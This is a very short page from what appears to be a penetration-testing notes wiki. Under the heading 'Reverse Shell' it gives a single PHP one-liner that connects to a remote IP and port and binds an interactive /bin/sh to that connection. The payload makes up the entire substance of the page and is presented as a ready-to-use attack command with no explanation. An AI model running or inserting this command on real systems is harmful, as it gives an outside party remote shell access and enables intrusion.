PHP

From BHaFSec Pentesting Notes Wiki
Jump to: navigation, search

Reverse Shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

.